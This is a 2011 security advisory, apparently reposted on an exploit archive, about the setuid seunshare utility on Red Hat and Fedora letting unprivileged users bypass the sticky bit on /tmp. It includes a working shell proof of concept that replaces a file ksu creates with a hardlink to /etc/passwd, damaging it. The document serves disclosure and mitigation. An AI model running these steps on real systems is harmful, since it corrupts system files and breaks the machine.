Author

Tavis Ormandy

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-15470

Category

dos / poc

Date add

24-02-2011

Platform

linux

Developers should not rely on the stickiness of /tmp on Red Hat Linux
---------------------------------------------------------------------
 
Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of sandboxing.
 
The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a
compromise.
 
One unintended side effect of making these features available to unprivileged
processes is that users can now change how setuid applications perceive /tmp
and /home.
 
The purpose of this advisory is to inform developers and system administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the stickiness
of /tmp on redhat systems is no longer safe.
 
This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.
 
--------------------
Affected Software
------------------------
 
All known versions of policycore-utils are affected.
 
I discussed the potentially dangerous implications of introducing this change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
behaviour post-launch.
 
--------------------
Consequences
-----------------------
 
A simple example of a common application that is now unsafe is ksu, from the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.
 
This is normally a safe operation, as /tmp is protected by the sticky bit.
 
However, we can use seunshare to interfere with this process.
 
# create a new directory that we control
$ mkdir /tmp/seunshare
 
# use seunshare to mount it on /tmp and /home and run our setuid root binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null &
[1]+  Stopped                 seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root
 
# we can examine the mounts visible to the process using the /proc interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp
 
# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1
 
# as we own the directory, and the sticky-bit is not set, we are permitted to
# unlink files
$ rm -f /tmp/seunshare/krb5cc_0.1
 
# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1
 
# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root
 
And /etc/passwd was damaged, thus breaking the system.
 
-------------------
Credit
-----------------------
 
This bug was discovered by Tavis Ormandy.
 
-------------------
Greetz
-----------------------
 
Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues.
 
-------------------
Notes
-----------------------
 
Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.
 
Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.



#  0day.today [2024-07-01]  #